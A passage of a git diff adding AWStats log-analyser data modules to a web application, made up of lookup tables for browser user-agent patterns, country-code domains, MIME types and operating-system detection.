+'svn','subversion', +'msie','msie', +'netscape','netscape', + +'firebird','phoenix', +'go!zilla','gozilla', +'icab','icab', +'lynx','lynx', +'omniweb','omniweb', +# Other standard web browsers +'amaya','amaya', +'amigavoyager','amigavoyager', +'avantbrowser','avant', +'aweb','aweb', +'bonecho','firefox', +'minefield','firefox', +'granparadiso','firefox', +'donzilla','mozilla', +'songbird','mozilla', +'strata','mozilla', +'sylera','mozilla', +'kazehakase','mozilla', +'prism','mozilla', +'iceape','mozilla', +'seamonkey','seamonkey', +'flock','flock', +'icecat','icecat', +'iceweasel','iceweasel', +'bpftp','bpftp', +'camino','chimera', +'chimera','chimera', +'cyberdog','cyberdog', +'dillo','dillo', +'doris','doris', +'dreamcast','dreamcast', +'xbox', 'winxbox', +'ecatch','ecatch', +'encompass','encompass', +'epiphany','epiphany', +'fresco','fresco', +'galeon','galeon', +'flashget','flashget', +'freshdownload','freshdownload', +'getright','getright', +'leechget','leechget', +'hotjava','hotjava', +'ibrowse','ibrowse', +'k\-meleon','kmeleon', +'lotus\-notes','lotusnotes', +'macweb','macweb', +'multizilla','multizilla', +'msfrontpageexpress','fpexpress', +'ncsa_mosaic','ncsa_mosaic', +'netpositive','netpositive', +'phoenix','phoenix', +# Site grabbers +'teleport','teleport', +'webcapture','adobe', +'webcopier','webcopier', +# Media only browsers +'real','real', +'winamp','mediaplayer', # Works for winampmpeg and winamp3httprdr +'windows\-media\-player','mplayer', +'audion','mediaplayer', +'freeamp','mediaplayer', +'itunes','mediaplayer', +'jetaudio','mediaplayer', +'mint_audio','mediaplayer', +'mpg123','mediaplayer', +'mplayer','mediaplayer', +'nsplayer','netshow', +'qts','mediaplayer', +'sonique','mediaplayer', +'uplayer','mediaplayer', +'xaudio','mediaplayer', +'xine','mediaplayer', +'xmms','mediaplayer', +# RSS Readers +'abilon', 'abilon', +'aggrevator', 'rss', +'aiderss', 'rss', +'akregator', 'rss', +'applesyndication', 'rss', +'betanews_reader','rss', +'blogbridge','rss', +'feeddemon', 'rss', +'feedreader', 'rss', +'feedtools', 'rss', +'greatnews', 'rss', +'gregarius', 'rss', +'hatena_rss', 'rss', +'jetbrains_omea', 'rss', +'liferea', 'rss', +'netnewswire', 'rss', +'newsfire', 'rss', +'newsgator', 'rss', +'newzcrawler', 'rss', +'plagger', 'rss', +'pluck', 'rss', +'potu', 'rss', +'pubsub\-rss\-reader', 'rss', +'pulpfiction', 'rss', +'rssbandit', 'rss', +'rssreader', 'rss', +'rssowl', 'rss', +'rss\sxpress','rss', +'rssxpress','rss', +'sage', 'rss', +'sharpreader', 'rss', +'shrook', 'rss', +'straw', 'rss', +'syndirella', 'rss', +'vienna', 'rss', +'wizz\srss\snews\sreader','wizz', +# PDA/Phonecell browsers +#'alcatel','pdaphone', # Alcatel +#'lg\-','pdaphone', # LG +#'ericsson','pdaphone', # Ericsson +#'mot\-','pdaphone', # Motorola +#'nokia','pdaphone', # Nokia +#'panasonic','pdaphone', # Panasonic +#'philips','pdaphone', # Philips +#'sagem','pdaphone', # Sagem +#'samsung','pdaphone', # Samsung +#'sie\-','pdaphone', # SIE +#'sec\-','pdaphone', # Sony/Ericsson +#'sonyericsson','pdaphone', # Sony/Ericsson +#'mmef','pdaphone', +#'mspie','pdaphone', +#'vodafone','pdaphone', +#'wapalizer','pdaphone', +#'wapsilon','pdaphone', +'wap','pdaphone', # Generic WAP phone (must be after 'wap*') +'webcollage','pdaphone', +'up\.','pdaphone', # Works for UP.Browser and UP.Link +# PDA/Phonecell browsers +'android','android', +'blackberry','pdaphone', +'docomo','pdaphone', +'iphone','pdaphone', +'portalmmm','pdaphone', +# Others (TV) +'webtv','webtv', +# Anonymous Proxy Browsers (can be used as grabbers as well...) +'cjb\.net','cjbnet', +# Other kind of browsers +'adobeair','adobe', +'apt','apt', +'analogx_proxy','analogx', +'microsoft\-webdav\-miniredir','frontpage', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\scache\smanager','frontpage', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\sdav','frontpage', +'microsoft\sdata\saccess\sinternet\spublishing\sprovider\sprotocol\sdiscovery','frontpage', +'microsoft\soffice\sprotocol\sdiscovery','frontpage', +'microsoft\soffice\sexistence\sdiscovery','frontpage', +'gnome\-vfs', 'gnome', +'neon','neon', +'javaws','java', +'webzip','webzip', +'webreaper','webreaper', +'httrack','httrack', +'staroffice','staroffice', +'gnus', 'gnus', +'mozilla','mozilla' +); + +# Source for this is http://developer.apple.com/internet/safari/uamatrix.html +%BrowsersSafariBuildToVersionHash = +( + '48' => '0.8', + '51' => '0.8.1', + '60' => '0.8.2', + '73' => '0.9', + '74' => '1.0b2', + '85' => '1.0', + '85.5' => '1.0', + '85.7' => '1.0.2', + '85.8' => '1.0.3', + '85.8.1' => '1.0.3', + '100' => '1.1', + '100.1' => '1.1.1', + '125.7' => '1.2.2', + '125.8' => '1.2.2', + '125.9' => '1.2.3', + '125.11' => '1.2.4', + '125.12' => '1.2.4', + '312' => '1.3', + '312.3' => '1.3.1', + '312.3.1' => '1.3.1', + '412' => '2.0', + '412.2' => '2.0', + '412.2.2' => '2.0', + '412.5' => '2.0.1', + '416.12' => '2.0.2' +); + + +1; + + +# Browsers examples by engines +# +# -- Mosaic -- +# MSIE 4.0 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; KITV4 Wanadoo; KITV5 Wanadoo) +# +# -- Gecko Netscape -- +# Netscape 4.05 Mozilla/4.05 [fr]C-SYMPA (Win95; I) +# Netscape 4.7 Mozilla/4.7 [fr] (Win95; I) +# Netscape 6.0 Mozilla/5.0 (Macintosh; N; PPC; fr-FR; m18) Gecko/20001108 Netscape6/6.0 +# Netscape 7.02 Mozilla/5.0 (Platform; Security; OS-or-CPU; Localization; rv:1.0.2) Gecko/20030208 Netscape/7.02 +# +# -- Gecko others -- +# Mozilla 1.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3) Gecko/20030312 +# Firefox 0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firefox/0.9.1 +# Firebird,Phoenix,Galeon,AmiZilla,Dino +# Autre Mozilla/3.01 (compatible;) +# +# -- Opera -- +# Opera 6.03 Mozilla/3.0 (Windows 98; U) Opera 6.03 [en] +# Opera 5.12 Mozilla/3.0 (Windows 98; U) Opera 5.12 [en] +# Opera 3.21 Opera 3.21, Windows: +# +# -- KHTML -- +# Safari +# Konqueror +# diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/domains.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/domains.pm new file mode 100644 index 0000000..0125d7a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/domains.pm @@ -0,0 +1,100 @@ +# AWSTATS DOMAINS DATABASE +#------------------------------------------------------- +# If you want to add a new domain to extend AWStats database detection capabilities, +# you must add an entry in DomainsHashIDLib. +#------------------------------------------------------- +# $Revision: 1.16 $ - $Author: eldy $ - $Date: 2013/05/02 07:30:52 $ + + +#package AWSDOM; + + +# DomainsHashIDLib +# List of domain with their name ('domain id', 'Domain name') +# Official list can be found at http://www.iana.org/cctld/cctld-whois.htm +# 'Domain id' should be ISO 3166 code + miscelanous domains +#------------------------------------------------------- +%DomainsHashIDLib = ( +'localhost','localhost', +'i0','Local network host', +'a2','Satellite access host', + +'ac','Ascension Island','ad','Andorra','ae','United Arab Emirates', +'aero','Aero/Travel domains','af','Afghanistan', +'ag','Antigua and Barbuda','ai','Anguilla','al','Albania', +'am','Armenia','an','Netherlands Antilles','ao','Angola', +'aq','Antarctica','ar','Argentina','arpa','Old style Arpanet', +'as','American Samoa','at','Austria','au','Australia','aw','Aruba', +'ax','Aland islands', +'az','Azerbaidjan','ba','Bosnia-Herzegovina','bb','Barbados', +'bd','Bangladesh','be','Belgium','bf','Burkina Faso','bg','Bulgaria', +'bh','Bahrain','bi','Burundi','biz','Biz domains','bj','Benin','bm','Bermuda', +'bn','Brunei Darussalam','bo','Bolivia','br','Brazil','bs','Bahamas', +'bt','Bhutan','bv','Bouvet Island','bw','Botswana','by','Belarus', +'bz','Belize','ca','Canada','cc','Cocos (Keeling) Islands', +'cd','Congo, Democratic Republic of the', +'cf','Central African Republic','cg','Congo','ch','Switzerland', +'ci','Ivory Coast (Cote D\'Ivoire)','ck','Cook Islands','cl','Chile','cm','Cameroon', +'cn','China','co','Colombia','com','Commercial','coop','Coop domains','cr','Costa Rica', +'cs','Former Czechoslovakia','cu','Cuba','cv','Cape Verde','cw','Curacao', +'cx','Christmas Island','cy','Cyprus','cz','Czech Republic','de','Germany', +'dj','Djibouti','dk','Denmark','dm','Dominica','do','Dominican Republic', +'dz','Algeria','ec','Ecuador','edu','USA Educational','ee','Estonia', +'eg','Egypt','eh','Western Sahara','er','Eritrea','es','Spain','et','Ethiopia', +'eu','European country', +'fi','Finland','fj','Fiji','fk','Falkland Islands','fm','Micronesia','fo','Faroe Islands', +'fr','France','fx','France (European Territory)','ga','Gabon', +'gb','Great Britain','gd','Grenada','ge','Georgia','gf','French Guyana', +'gg','Guernsey','gh','Ghana','gi','Gibraltar', +'gl','Greenland','gm','Gambia','gn','Guinea','gov','USA Government','gp','Guadeloupe (French)', +'gq','Equatorial Guinea','gr','Greece','gs','S. Georgia & S. Sandwich Isls.', +'gt','Guatemala','gu','Guam (USA)','gw','Guinea Bissau','gy','Guyana', +'hk','Hong Kong','hm','Heard and McDonald Islands','hn','Honduras', +'hr','Croatia','ht','Haiti','hu','Hungary','id','Indonesia','ie','Ireland','il','Israel', +'im','Isle of Man','in','India','info','Info domains','int','International','io','British Indian Ocean Territory', +'iq','Iraq','ir','Iran','is','Iceland','it','Italy', +'je','Jersey','jm','Jamaica','jo','Jordan', +'jobs','Jobs domains', +'jp','Japan','ke','Kenya','kg','Kyrgyzstan', +'kh','Cambodia','ki','Kiribati','km','Comoros','kn','Saint Kitts & Nevis Anguilla', +'kp','North Korea','kr','South Korea','kw','Kuwait', +'ky','Cayman Islands','kz','Kazakhstan','la','Laos','lb','Lebanon','lc','Saint Lucia', +'li','Liechtenstein','lk','Sri Lanka','lr','Liberia','ls','Lesotho','lt','Lithuania', +'lu','Luxembourg','lv','Latvia','ly','Libya','ma','Morocco','mc','Monaco', +'md','Moldova','me','Montenegro','mg','Madagascar','mh','Marshall Islands','mil','USA Military', +'mk','Macedonia','ml','Mali','mm','Myanmar','mn','Mongolia','mo','Macau', +'mobi','Mobi domains', +'mp','Northern Mariana Islands','mq','Martinique (French)','mr','Mauritania', +'ms','Montserrat','mt','Malta','mu','Mauritius','museum','Museum domains','mv','Maldives', +'mw','Malawi','mx','Mexico','my','Malaysia','mz','Mozambique','na','Namibia','name','Name domains','nato','NATO', +'nc','New Caledonia (French)','ne','Niger','net','Network','nf','Norfolk Island', +'ng','Nigeria','ni','Nicaragua','nl','Netherlands','no','Norway', +'np','Nepal','nr','Nauru','nt','Neutral Zone','nu','Niue','nz','New Zealand','om','Oman', +'org','Non-Profit Organizations','pa','Panama','pe','Peru','pf','Polynesia (French)', +'pg','Papua New Guinea','ph','Philippines','pk','Pakistan','pl','Poland', +'pm','Saint Pierre and Miquelon','pn','Pitcairn Island','pr','Puerto Rico','pro','Professional domains', +'ps','Palestinian Territories','pt','Portugal','pw','Palau','py','Paraguay','qa','Qatar', +'re','Reunion (French)','ro','Romania', +'rs','Republic of Serbia', +'ru','Russian Federation','rw','Rwanda', +'sa','Saudi Arabia','sb','Solomon Islands','sc','Seychelles', +'sd','Sudan','se','Sweden','sg','Singapore','sh','Saint Helena','si','Slovenia', +'sj','Svalbard and Jan Mayen Islands','sk','Slovak Republic','sl','Sierra Leone', +'sm','San Marino','sn','Senegal','so','Somalia','sr','Suriname', +'st','Sao Tome and Principe','su','Former USSR','sv','El Salvador', +'sx','Sint Maarten', +'sy','Syria','sz','Swaziland', +'tc','Turks and Caicos Islands','td','Chad','tf','French Southern Territories','tg','Togo', +'th','Thailand','tj','Tadjikistan','tk','Tokelau','tm','Turkmenistan','tn','Tunisia', +'to','Tonga','tp','East Timor','tr','Turkey','tt','Trinidad and Tobago','tv','Tuvalu', +'tw','Taiwan','tz','Tanzania','ua','Ukraine','ug','Uganda', +'uk','United Kingdom','um','USA Minor Outlying Islands','us','United States', +'uy','Uruguay','uz','Uzbekistan','va','Vatican City State', +'vc','Saint Vincent & Grenadines','ve','Venezuela','vg','Virgin Islands (British)', +'vi','Virgin Islands (USA)','vn','Vietnam','vu','Vanuatu','wf','Wallis and Futuna Islands', +'ws','Samoa Islands','ye','Yemen','yt','Mayotte','yu','Yugoslavia','za','South Africa', +'zm','Zambia','zr','Zaire','zw','Zimbabwe' +); + + +1; diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/mime.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/mime.pm new file mode 100644 index 0000000..e67ba4e --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/mime.pm @@ -0,0 +1,205 @@ +# AWSTATS MIME DATABASE +#------------------------------------------------------- +# If you want to add MIME types, +# you must add an entry in MimeHashLib and assign it to a family +#------------------------------------------------------- +# $Revision: 1.28 $ - $Author: eldy $ - $Date: 2011/12/30 18:23:09 $ + + +#package AWSMIME; + +# MimeHashFamily +# This is a hash table of mime groupings and descriptions. +# Report icons will appear if names the same as a family, e.g. +# if you have a "text.png" icon in the icon/mime directory, the +# report will load the icon +# Format: 'family', 'descriptive text', +#--------------------------------------------------------------- +%MimeHashFamily = ( +'text', 'Text file', +'page', 'HTML or XML static page', +'script', 'Dynamic Html page or Script file', +'pl', 'Dynamic Perl Script file', +'php', 'Dynamic PHP Script file', +'image', 'Image', +'document', 'Document', +'package', 'Package', +'archive', 'Archive', +'audio', 'Audio file', +'video', 'Video file', +'jscript', 'JavaScript file', +'vbs', 'Visual Basic script', +'conf', 'Config file', +'css', 'Cascading Style Sheet file', +'xsl', 'Extensible Stylesheet Language file', +'runtime', 'Binary runtime', +'library', 'Binary library', +'swf', 'Adobe Flash Animation', +'flv', 'Adobe Flash Video', +'dtd', 'Document Type Definition', +'csv', 'Comma Separated Value file', +'jnlp', 'Java Web Start launch file', +'lit', 'Microsoft Reader e-book', +'svg', 'Scalable Vector Graphics', +'ai', 'Adobe Illustrator file', +'phshop', 'Adobe Photoshop image file', +'ttf', 'TrueType scalable font file', +'fon', 'Font file', +'pdf', 'Adobe Acrobat file', +'dotnet', 'Dot Net Dynamic Script or File', +'mdb', 'MS Database Object', +'crystal', 'Crystal Reports data or file', +'ooffice', 'Open Office Document', +'encrypt', 'Encrypted document', +); + +# MimeHashLib +# This is a hash of arrays where the key is a specific file extension +# and the array is a list of family and file type, e.g. 'd' for download +# If a file does not have a type defined, it is counted as a page. Each +# mime entry can have only one type +# Format: 'extension', ['family', 'type'], +# Valid Types: +# i - image +# d - download +# p - page +#--------------------------------------------------------------- +%MimeHashLib=( +# Text file +'txt',['text','d'], +'log',['text','d'], +# HTML Static page +'chm',['page',''], +'html',['page',''], +'htm',['page',''], +'mht',['page',''], +'wml',['page',''], +'wmlp',['page',''], +'xhtml',['page',''], +'xml',['page',''], +'vak',['page',''], +'sgm',['page',''], +'sgml',['page',''], +# HTML Dynamic pages or script +'asp',['script',''], +'aspx',['dotnet',''], +'ashx',['dotnet',''], +'asmx',['dotnet',''], +'axd', ['dotnet',''], +'cfm',['script',''], +'class',['script',''], +'js',['jscript',''], +'jsp',['script',''], +'cgi',['script',''], +'ksh',['script',''], +'php',['php',''], +'php3',['php',''], +'php4',['php',''], +'pl',['pl',''], +'py',['script',''], +'rss',['rss',''], +'sh',['script',''], +'shtml',['script',''], +'tcl',['script',''], +'xsp',['script',''], +'vbs',['vbs',''], +# Image +'gif',['image','i'], +'png',['image','i'], +'bmp',['image','i'], +'jpg',['image','i'], +'jpeg',['image','i'], +'cdr',['image','d'], +'ico',['image','i'], +'svg',['image','i'], +# Document +'ai',['document','d'], +'doc',['document','d'], +'wmz',['document','d'], +'rtf',['document','d'], +'mso',['document','d'], +'pdf',['pdf','d'], +'frl',['pdf','d'], +'xls',['document','d'], +'ppt',['document','d'], +'pps',['document','d'], +'psd',['document','d'], +'sxw',['ooffice','d'], +'sxc',['ooffice','d'], +'sxi',['ooffice','d'], +'sxd',['ooffice','d'], +'sxm',['ooffice','d'], +'sxg',['ooffice','d'], +'csv',['csv','d'], +'xsl',['xsl','d'], +'lit',['lit','d'], +'mdb',['mdb',''], +'rpt',['crystal',''], +# Package +'rpm',[($LogType eq 'S'?'audio':'package'),'d'], +'deb',['package','d'], +'msi',['package','d'], +# Archive +'7z',['archive','d'], +'ace',['archive','d'], +'bz2',['archive','d'], +'cab',['archive','d'], +'emz',['archive','d'], +'gz',['archive','d'], +'jar',['archive','d'], +'lzma',['archive','d'], +'rar',['archive','d'], +'tar',['archive','d'], +'tgz',['archive','d'], +'tbz2',['archive','d'], +'z',['archive','d'], +'zip',['archive','d'], +# Audio +'aac',['audio','d'], +'flac',['audio','d'], +'mp3',['audio','d'], +'oga',['audio','d'], +'ogg',['audio','d'], +'wav',['audio','d'], +'wma',['audio','d'], +'m4a',['audio','d'], +'m3u',['audio','d'], +'asf',['audio','d'], +# Video +'avi',['video','d'], +'divx',['video','d'], +'mp4',['video','d'], +'m4v',['video','d'], +'mpeg',['video','d'], +'mpg',['video','d'], +'ogv',['video','d'], +'ogx',['video','d'], +'rm',['video','d'], +'swf',['flash',''], +'flv',['flash','d'], +'f4v',['flash','d'], +'wmv',['video','d'], +'wmf',['video','d'], +'mov',['video','d'], +'qt',['video','d'], +# Config +'cf',['conf',''], +'conf',['conf',''], +'css',['css',''], +'ini',['conf',''], +'dtd',['dtd',''], +# Program +'exe',['runtime',''], +'jnlp',['jnlp',''], +'dll',['library',''], +'bin',['library',''], +# Font +'ttf',['ttf',''], +'fon',['fon',''], +# Encrypted files +'pgp',['encrypt',''], +'gpg',['encrypt',''], +); + + +1; diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/operating_systems.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/operating_systems.pm new file mode 100644 index 0000000..5c8dc4a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/operating_systems.pm @@ -0,0 +1,334 @@ +# AWSTATS OPERATING SYSTEMS DATABASE +#------------------------------------------------------- +# If you want to add an OS to extend AWStats database detection capabilities, +# you must add an entry in OSSearchIDOrder, in OSHashID and in OSHashLib. +#------------------------------------------------------- +# $Revision: 1.33 $ - $Author: eldy $ - $Date: 2012/12/29 15:27:22 $ + +# 2005-08-19 Sean Carlos http://www.antezeta.com/awstats.html +# - added specific Linux distributions in addition to +# the generic Linux. +# Included documentation link to Distribution home pages. +# - added links for each operating systems. + +#package AWSOS; + +# Relocated from main file for easier editing +%OSFamily = ( + 'win' => 'Windows', + 'mac' => 'Macintosh', + 'linux' => 'Linux', + 'bsd' => 'BSD' +); + +# OSSearchIDOrder +# This list is used to know in which order to search Operating System IDs +# (Most frequent one are first in this list to increase detect speed). +# It contains all matching criteria to search for in log fields. +# Note: OS IDs are in lower case and '_', ' ' and '+' are changed into '[_+ ]' +#------------------------------------------------------------------------- +@OSSearchIDOrder = ( +# Windows OS family +'windows[_+ ]?2005', 'windows[_+ ]nt[_+ ]6\.0', +'windows[_+ ]?2008', 'windows[_+ ]nt[_+ ]6\.1', # Must be before windows_nt_6 +'windows[_+ ]?2012', 'windows[_+ ]nt[_+ ]6\.2', # Must be before windows_nt_6 +'windows[_+ ]?vista', 'windows[_+ ]nt[_+ ]6', +'windows[_+ ]?2003','windows[_+ ]nt[_+ ]5\.2', # Must be before windows_nt_5 +'windows[_+ ]xp','windows[_+ ]nt[_+ ]5\.1', # Must be before windows_nt_5 +'windows[_+ ]me','win[_+ ]9x', # Must be before windows_98 +'windows[_+ ]?2000','windows[_+ ]nt[_+ ]5', +'winnt','windows[_+ \-]?nt','win32', +'win(.*)98', +'win(.*)95', +'win(.*)16','windows[_+ ]3', # This works for windows_31 and windows_3.1 +'win(.*)ce', +# Macintosh OS family +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]9', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]8', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]7', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]6', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]5', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]4', +'mac[_+ ]os[_+ ]x', +'mac[_+ ]?p', # This works for macppc and mac_ppc and mac_powerpc +'mac[_+ ]68', # This works for mac_6800 and mac_68k +'macweb', +'macintosh', +# Linux family +'linux(.*)android', +'linux(.*)asplinux', +'linux(.*)centos', +'linux(.*)debian', +'linux(.*)fedora', +'linux(.*)gentoo', +'linux(.*)mandr', +'linux(.*)momonga', +'linux(.*)pclinuxos', +'linux(.*)red[_+ ]hat', +'linux(.*)suse', +'linux(.*)ubuntu', +'linux(.*)vector', +'linux(.*)vine', +'linux(.*)white\sbox', +'linux(.*)zenwalk', +'linux', +# Hurd family +'gnu.hurd', +# BSDs family +'bsdi', +'gnu.kfreebsd', # Must be before freebsd +'freebsd', +'openbsd', +'netbsd', +'dragonfly', +# Other Unix, Unix-like +'aix', +'sunos', +'irix', +'osf', +'hp\-ux', +'unix', +'x11', +'gnome\-vfs', +# Other famous OS +'beos', +'os/2', +'amiga', +'atari', +'vms', +'commodore', +'qnx', +'inferno', +'palmos', +'syllable', +# Miscellanous OS +'blackberry', +'cp/m', +'crayos', +'dreamcast', +'iphone[_+ ]os', +'risc[_+ ]?os', +'symbian', +'webtv', +'playstation', +'xbox', +'wii', +'vienna', +'newsfire', +'applesyndication', +'akregator', +'plagger', +'syndirella', +'j2me', +'java', +'microsoft', # Pushed down to prevent mis-identification +'msie[_+ ]', # by other OS spoofers. +'ms[_+ ]frontpage', +'windows' +); + + +# OSHashID +# Each OS Search ID is associated to a string that is the AWStats id and +# also the name of icon file for this OS. +#-------------------------------------------------------------------------- +%OSHashID = ( +# Windows OS family +'windows[_+ ]?2005','winlong','windows[_+ ]nt[_+ ]6\.0','winlong', +'windows[_+ ]?2008','win2008','windows[_+ ]nt[_+ ]6\.1','win7', +'windows[_+ ]?2012','win2012','windows[_+ ]nt[_+ ]6\.2','win8', +'windows[_+ ]?vista','winvista','windows[_+ ]nt[_+ ]6','winvista', +'windows[_+ ]?2003','win2003','windows[_+ ]nt[_+ ]5\.2','win2003', +'windows[_+ ]xp','winxp','windows[_+ ]nt[_+ ]5\.1','winxp', 'syndirella', 'winxp', +'windows[_+ ]me','winme','win[_+ ]9x','winme', +'windows[_+ ]?2000','win2000','windows[_+ ]nt[_+ ]5','win2000', +'winnt','winnt','windows[_+ \-]?nt','winnt','win32','winnt', +'win(.*)98','win98', +'win(.*)95','win95', +'win(.*)16','win16','windows[_+ ]3','win16', +'win(.*)ce','wince', +'microsoft','winunknown', +'msie[_+ ]','winunknown', +'ms[_+ ]frontpage','winunknown', +# Macintosh OS family +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]9','macosx9', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]8','macosx8', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]7','macosx7', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]6','macosx6', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]5','macosx5', +'mac[_+ ]os[_+ ]x[_+ ]10[_\.]4','macosx4', +'mac[_+ ]os[_+ ]x','macosx', 'vienna', 'macosx', 'newsfire', 'macosx', 'applesyndication', 'macosx', +'mac[_+ ]?p','macintosh','mac[_+ ]68','macintosh','macweb','macintosh','macintosh','macintosh', +# Linux family (linuxyyy) +'linux(.*)android','linuxandroid', +'linux(.*)asplinux','linuxasplinux', +'linux(.*)centos','linuxcentos', +'linux(.*)debian','linuxdebian', +'linux(.*)fedora','linuxfedora', +'linux(.*)gentoo','linuxgentoo', +'linux(.*)mandr','linuxmandr', +'linux(.*)momonga','linuxmomonga', +'linux(.*)pclinuxos','linuxpclinuxos', +'linux(.*)red[_+ ]hat','linuxredhat', +'linux(.*)suse','linuxsuse', +'linux(.*)ubuntu','linuxubuntu', +'linux(.*)vector','linuxvector', +'linux(.*)vine','linuxvine', +'linux(.*)white\sbox','linuxwhitebox', +'linux(.*)zenwalk','linuxzenwalk', +'linux','linux', 'akregator', 'linux', +# Hurd family +'gnu.hurd','gnu', +# BSDs family (bsdyyy) +'bsdi','bsdi', +'gnu.kfreebsd','bsdkfreebsd', # Must be before freebsd +'freebsd','bsdfreebsd', +'openbsd','bsdopenbsd', +'netbsd','bsdnetbsd', +'dragonflybsd','bsddflybsd', +# Other Unix, Unix-like +'aix','aix', +'sunos','sunos', +'irix','irix', +'osf','osf', +'hp\-ux','hp\-ux', +'unix','unix', +'x11','unix', +'gnome\-vfs','unix', +'plagger', 'unix', +# Other famous OS +'beos','beos', +'os/2','os/2', +'amiga','amigaos', +'atari','atari', +'vms','vms', +'commodore','commodore', +'j2me', 'j2me', +'java', 'java', +'qnx','qnx', +'inferno','inferno', +'palmos','palmos', +'syllable','syllable', +# Miscellanous OS +'blackberry','blackberry', +'cp/m','cp/m', +'crayos','crayos', +'dreamcast','dreamcast', +'iphone[_+ ]os','ios', +'risc[_+ ]?os','riscos', +'symbian','symbian', +'webtv','webtv', +'playstation', 'psp', +'xbox', 'winxbox', +'wii', 'wii', +'windows','winunknown' +); + +# OS name list ('os unique id in lower case','os clear text') +# Each unique ID string is associated to a label +#----------------------------------------------------------- +%OSHashLib = ( +# Windows family OS +'win8','<a href="http://www.microsoft.com/windows/" title="Windows 8 home page [new window]" target="_blank">Windows 8</a>', +'win7','<a href="http://windows.microsoft.com/en-US/windows7/products/home/" title="Windows 7 home page [new window]" target="_blank">Windows 7</a>', +'winlong','<a href="http://www.microsoft.com/windows/" title="Windows Vista home page [new window]" target="_blank">Windows Vista (LongHorn)</a>', +'win2008','<a href="http://www.microsoft.com/windowsserver2008/" title="Windows 2008 home page [new window]" target="_blank">Windows 2008</a>', +'win2012','<a href="http://www.microsoft.com/en-us/server-cloud/windows-server/2012-default.aspx/" title="Windows Server 2012 home page [new window]" target="_blank">Windows Server 2012</a>', +'winvista','<a href="http://www.microsoft.com/windowsvista/" title="Windows Vista home page [new window]" target="_blank">Windows Vista</a>', +'win2003','<a href="http://www.microsoft.com/windowsserver2003/" title="Windows 2003 home page [new window]" target="_blank">Windows 2003</a>', +'winxp','<a href="http://www.microsoft.com/windowsxp/" title="Windows XP home page [new window]" target="_blank">Windows XP</a>', +'winme','<a href="http://support.microsoft.com/ph/6519/" title="Windows ME support page [new window]" target="_blank">Windows ME</a>', +'win2000','<a href="http://support.microsoft.com/ph/1131" title="Windows 2000 support page [new window]" target="_blank">Windows 2000</a>', +'winnt','<a href="http://support.microsoft.com/default.aspx?pr=ntw40" title="Windows NT support page [new window]" target="_blank">Windows NT</a>', +'win98','<a href="http://support.microsoft.com/w98" title="Windows 98 support page [new window]" target="_blank">Windows 98</a>', +'win95','<a href="http://support.microsoft.com/ph/7864" title="Windows 95 support page [new window]" target="_blank">Windows 95</a>', +'win16','<a href="http://www.microsoft.com/windows/WinHistoryDesktop.mspx#E1B" title="Windows 3.xx history page [new window]" target="_blank">Windows 3.xx</a>', +'wince','<a href="http://www.microsoft.com/windowsmobile/" title="Windows Mobile home page [new window]" target="_blank">Windows Mobile</a>', +'winunknown','Windows (unknown version)', +'winxbox','<a href="http://www.xbox.com/" title="Microsoft XBOX home page [new window]" target="_blank">Microsoft XBOX</a>', +# Macintosh OS +'macosx9','<a href="http://www.apple.com/macosx/" title="Mac OS X home page [new window]" target="_blank">Mac OS X 10.9</a>', +'macosx8','<a href="http://www.apple.com/macosx/" title="Mac OS X home page [new window]" target="_blank">Mac OS X 10.8 Mountain Lion</a>', +'macosx7','<a href="http://www.apple.com/macosx/" title="Mac OS X home page [new window]" target="_blank">Mac OS X 10.7 Lion</a>', +'macosx6','<a href="http://www.apple.com/macosx/" title="Mac OS X home page [new window]" target="_blank">Mac OS X 10.6 Snow Leopard</a>', +'macosx5','<a href="http://www.apple.com/macosx/" title="Mac OS X home page [new window]" target="_blank">Mac OS X 10.5 Leopard</a>', +'macosx4','<a href="http://www.apple.com/macosx/" title="Mac OS X home page [new window]" target="_blank">Mac OS X 10.4 Tiger</a>', +'macosx','<a href="http://www.apple.com/macosx/" title="Mac OS X home page [new window]" target="_blank">Mac OS X others</a>', +'macintosh','<a href="http://www.apple.com/" title="Mac OS home page [new window]" target="_blank">Mac OS</a>', +# Linux +'linuxandroid','<a href="http://code.google.com/android/" title="Google Android home page [new window]" target="_blank">Google Android</a>', +'linuxasplinux','<a href="http://www.asplinux.ru/" title="ASPLinux home page [new window]" target="_blank">ASPLinux</a>', +'linuxcentos','<a href="http://www.centos.org/" title="Centos home page [new window]" target="_blank">Centos</a>', +'linuxdebian','<a href="http://www.debian.org/" title="Debian home page [new window]" target="_blank">Debian</a>', +'linuxfedora','<a href="http://fedora.redhat.com/" title="Fedora home page [new window]" target="_blank">Fedora</a>', +'linuxgentoo','<a href="http://www.gentoo.org/" title="Gentoo home page [new window]" target="_blank">Gentoo</a>', +'linuxmandr','<a href="http://www.mandriva.com/" title="Mandriva (former Mandrake) home page [new window]" target="_blank">Mandriva (or Mandrake)</a>', +'linuxmomonga','<a href="http://www.momonga-linux.org/" title="Momonga Linux home page [new window]" target="_blank">Momonga Linux</a>', +'linuxpclinuxos','<a href="http://www.pclinuxos.com/" title="PCLinuxOS home page [new window]" target="_blank">PCLinuxOS</a>', +'linuxredhat','<a 